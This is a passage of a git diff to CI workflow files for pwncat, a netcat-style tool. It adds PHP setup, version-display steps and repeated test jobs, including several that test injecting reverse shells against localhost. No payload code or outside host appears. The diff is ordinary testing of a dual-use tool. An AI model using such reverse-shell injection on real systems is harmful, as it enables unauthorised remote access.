${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-macos-3.8.yml b/.github/workflows/test-x64-macos-3.8.yml index cbad3434..ca62f2b5 100644 --- a/.github/workflows/test-x64-macos-3.8.yml +++ b/.github/workflows/test-x64-macos-3.8.yml @@ -29,9 +29,11 @@ jobs: python-version: 3.8 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-macos-pypy2.yml b/.github/workflows/test-x64-macos-pypy2.yml index 7405f848..e3e78463 100644 --- a/.github/workflows/test-x64-macos-pypy2.yml +++ b/.github/workflows/test-x64-macos-pypy2.yml @@ -29,9 +29,11 @@ jobs: python-version: pypy2 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-macos-pypy3.yml b/.github/workflows/test-x64-macos-pypy3.yml index 3ab7f5d6..c73495fd 100644 --- a/.github/workflows/test-x64-macos-pypy3.yml +++ b/.github/workflows/test-x64-macos-pypy3.yml @@ -29,9 +29,11 @@ jobs: python-version: pypy3 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-ubuntu-2.7.yml b/.github/workflows/test-x64-ubuntu-2.7.yml index 0d0cefb6..940a9319 100644 --- a/.github/workflows/test-x64-ubuntu-2.7.yml +++ b/.github/workflows/test-x64-ubuntu-2.7.yml @@ -11,7 +11,7 @@ on: jobs: test: - runs-on: ubuntu-16.04 + runs-on: ubuntu-latest strategy: fail-fast: False @@ -29,9 +29,11 @@ jobs: python-version: 2.7 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-ubuntu-3.5.yml b/.github/workflows/test-x64-ubuntu-3.5.yml index 52ae5296..1dd532a2 100644 --- a/.github/workflows/test-x64-ubuntu-3.5.yml +++ b/.github/workflows/test-x64-ubuntu-3.5.yml @@ -11,7 +11,7 @@ on: jobs: test: - runs-on: ubuntu-16.04 + runs-on: ubuntu-latest strategy: fail-fast: False @@ -29,9 +29,11 @@ jobs: python-version: 3.5 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; 